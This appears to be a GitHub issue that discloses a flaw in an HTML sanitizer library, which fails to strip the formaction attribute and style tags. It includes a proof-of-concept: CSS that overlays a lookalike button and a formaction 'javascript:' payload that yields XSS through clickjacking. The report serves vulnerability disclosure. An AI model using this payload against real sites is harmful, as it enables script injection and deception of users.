You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
The library currently does not sanitize the formaction attribute or style tag. This opens the possibility of a clickjacking attack. An attacker can create a button styled to mimic the legitimate appearance of the hosting page. When a user interacts with this deceptive button, the malicious payload defined in the formaction attribute gets executed. Note that this is just one example of the countless ways an attacker could deceive a user into clicking the button, like setting the display: none of the real button.
Example
<style>
/* Replicate the appearance of a legitimate button and move the button to the real button . */
#bubu {
width: 300px; /* Adjust width */
height: 40px; /* Adjust height */
padding: 10px; /* Add inner spacing */
border: 2px solid #4CAF50; /* Green border */
border-radius: 8px; /* Rounded corners */
font-size: 16px; /* Increase font size */
color: #333; /* Text color */
background-color: #f9f9f9; /* Light gray background */
outline: none; /* Remove default focus outline */
transition: all 0.3s ease; /* Smooth hover effects */
/* Put our button above the real button */
position: fixed;
bottom: 55%;
left: 65%;
transform: translateX(-50%);
transform: scale(1.5);
z-index: 999999;
}
</style><formid="attackerform"><buttonform="attackerform" id="bubu" formaction="javascript:alert(window.origin)">
Click!
</button></form>
The text was updated successfully, but these errors were encountered:
AlbertoFDR
changed the title
Security Issue using Formaction and Style
Security Issue using formaction attribute
Nov 29, 2024
AlbertoFDR
changed the title
Security Issue using formaction attribute
[Security Issue] XSS via formaction attribute
Dec 5, 2024
Description
The library currently does not sanitize the
formaction
attribute orstyle
tag. This opens the possibility of a clickjacking attack. An attacker can create a button styled to mimic the legitimate appearance of the hosting page. When a user interacts with this deceptive button, the malicious payload defined in theformaction
attribute gets executed. Note that this is just one example of the countless ways an attacker could deceive a user into clicking the button, like setting thedisplay: none
of the real button.Example
The text was updated successfully, but these errors were encountered: